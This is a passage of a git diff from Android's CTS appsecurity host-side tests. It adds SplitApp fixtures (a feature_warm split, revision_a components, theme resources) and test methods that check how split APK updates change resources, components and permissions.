+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
new file mode 100644
index 0000000..ca59ebc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+public class FeatureService extends IntentService {
+    public FeatureService() {
+        super("Feature1Service");
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        // Ignored
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
new file mode 100644
index 0000000..3cd3110
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class WarmThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..cb95205
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/content"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="?attr/customColor">
+
+    <TextView android:id="@+id/text"
+        android:layout_height="wrap_content"
+        android:layout_width="wrap_content"
+        android:text="@string/my_string1"
+        android:background="?android:attr/colorBackground"/>
+
+</LinearLayout>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
new file mode 100644
index 0000000..e1961a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue_light</color>
+    <color name="navigation_bar_color">@color/teal_light</color>
+    <color name="status_bar_color">@color/aqua_light</color>
+
+    <color name="blue_light">#ffadd8e6</color>
+    <color name="teal_light">#ffe0f0f0</color>
+    <color name="aqua_light">#ffe0ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..ecde812
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="customColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
new file mode 100644
index 0000000..5cd838a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue</color>
+    <color name="navigation_bar_color">@color/teal</color>
+    <color name="status_bar_color">@color/aqua</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="teal">#ff008080</color>
+    <color name="aqua">#ff00ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
new file mode 100644
index 0000000..f509892
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Base" parent="@android:style/Theme.Material">
+        <item name="customColor">@color/custom_color</item>
+        <item name="android:windowBackground">@drawable/base_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..41c164a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
+
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor"/>
+
+    <!-- Remove the CAMERA permission
+    <uses-permission android:name="android.permission.CAMERA"/> -->
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <!-- Add the VIBRATE permission -->
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <!-- Updates to .revision_a.MyActivity -->
+        <activity android:name=".revision_a.MyActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <!-- Updates to .revision_a.MyReceiver -->
+        <receiver android:name=".revision_a.MyReceiver"
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+
+        <!-- Updates to .revision_a.MyProvider -->
+        <provider android:name=".revision_a.MyProvider"
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
+        </provider>
+
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
new file mode 100644
index 0000000..5303667
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
@@ -0,0 +1 @@
+DIRFILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
new file mode 100644
index 0000000..79d2b95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
@@ -0,0 +1 @@
+FILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
new file mode 100644
index 0000000..feeafea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="my_receiver_enabled">true</bool>
+
+    <string name="my_string1">blue-revision</string>
+    <string name="my_string2">purple-revision</string>
+    <string name="my_new_string">new string</string>
+
+    <color name="my_color">#00FFFF</color>
+    <integer name="my_integer">456</integer>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
new file mode 100644
index 0000000..c2036db
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
new file mode 100644
index 0000000..ea22de6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
new file mode 100644
index 0000000..2a7f180
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import com.android.cts.splitapp.BaseBootReceiver;
+
+public class MyReceiver extends BaseBootReceiver {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 1820de9..286a26f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.splitapp;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertNull;
@@ -25,7 +27,9 @@
 import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
 import static org.xmlpull.v1.XmlPullParser.START_TAG;
 
+import android.app.Activity;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -51,8 +55,12 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.cts.splitapp.TestThemeHelper.ThemeColors;
+
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
@@ -70,6 +78,7 @@
 import java.lang.reflect.Method;
 import java.util.List;
 import java.util.Locale;
+import java.util.stream.Collectors;
 
 @RunWith(AndroidJUnit4.class)
 public class SplitAppTest {
@@ -81,6 +90,15 @@
     public static boolean sFeatureTouched = false;
     public static String sFeatureValue = null;
 
+    private static final String BASE_THEME_ACTIVITY = ".ThemeActivity";
+    private static final String WARM_THEME_ACTIVITY = ".WarmThemeActivity";
+    private static final String ROSE_THEME_ACTIVITY = ".RoseThemeActivity";
+
+    @Rule
+    public ActivityTestRule<Activity> mActivityRule =
+            new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+                    false /*launchActivity*/);
+
     @Test
     public void testNothing() throws Exception {
     }
@@ -238,7 +256,7 @@
     }
 
     @Test
-    public void testFeatureBase() throws Exception {
+    public void testFeatureWarmBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -255,9 +273,9 @@
 
         // And that we can access resources from feature
         assertEquals("red", r.getString(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
         assertEquals(123, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -392,7 +410,7 @@
     }
 
     @Test
-    public void testFeatureApi() throws Exception {
+    public void testFeatureWarmApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -401,7 +419,7 @@
 
         // And that we can access resources from feature
         assertEquals(321, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -418,6 +436,114 @@
         assertEquals(0, result.size());
     }
 
+    @Test
+    public void testInheritUpdatedBase_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals(true, r.getBoolean(R.bool.my_receiver_enabled));
+
+        assertEquals("blue-revision", r.getString(R.string.my_string1));
+        assertEquals("purple-revision", r.getString(R.string.my_string2));
+
+        assertEquals(0xff00ffff, r.getColor(R.color.my_color));
+        assertEquals(456, r.getInteger(R.integer.my_integer));
+
+        // Also, new resources could be found
+        assertEquals("new string", r.getString(r.getIdentifier(
+                "my_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileA.txt", "FILEA");
+        assertAssetContents(r, "dir/dirfileA.txt", "DIRFILEA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.MyActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.MyActivity");
+
+        // Receiver of DATE_CHANGED should have been updated to .revision_a.MyReceiver
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).contains("com.android.cts.splitapp.revision_a.MyReceiver");
+
+        // Provider should have been updated to .revision_a.MyProvider
+        final ProviderInfo info = pm.resolveContentProvider("com.android.cts.splitapp", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.MyProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName("com.android.cts.splitapp.revision_a.MyProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+
+        // Camera permission has been removed
+        try {
+            getContext().enforceCallingOrSelfPermission(android.Manifest.permission.CAMERA, null);
+            fail("Camera permission should not be granted");
+        } catch (SecurityException expected) {
+        }
+
+        // New Vibrate permision should be granted
+        getContext().enforceCallingOrSelfPermission(android.Manifest.permission.VIBRATE, null);
+    }
+
+    @Test
+    public void testInheritUpdatedSplit_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals("red-revision", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
+        assertEquals(456, r.getInteger(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
+
+        // Also, new resources could be found
+        assertEquals("feature new string", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileFA.txt", "FILE_FA");
+        assertAssetContents(r, "dir/dirfileFA.txt", "DIRFILE_FA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.FeatureActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.FeatureActivity");
+
+        // Receiver of DATE_CHANGED could not be found
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).doesNotContain("com.android.cts.splitapp.FeatureReceiver");
+
+        // Service of splitapp should have been updated to .revision_a.FeatureService
+        intent = new Intent("com.android.cts.splitapp.service");
+        intent.setPackage(PKG);
+        final List<String> serviceNames = pm.queryIntentServices(intent, 0).stream()
+                .map(info -> info.serviceInfo.name).collect(Collectors.toList());
+        assertThat(serviceNames).contains("com.android.cts.splitapp.revision_a.FeatureService");
+
+        // Provider should have been updated to .revision_a.FeatureProvider
+        final ProviderInfo info = pm.resolveContentProvider(
+                "com.android.cts.splitapp.provider", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.FeatureProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName(
+                "com.android.cts.splitapp.revision_a.FeatureProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+    }
+
     /**
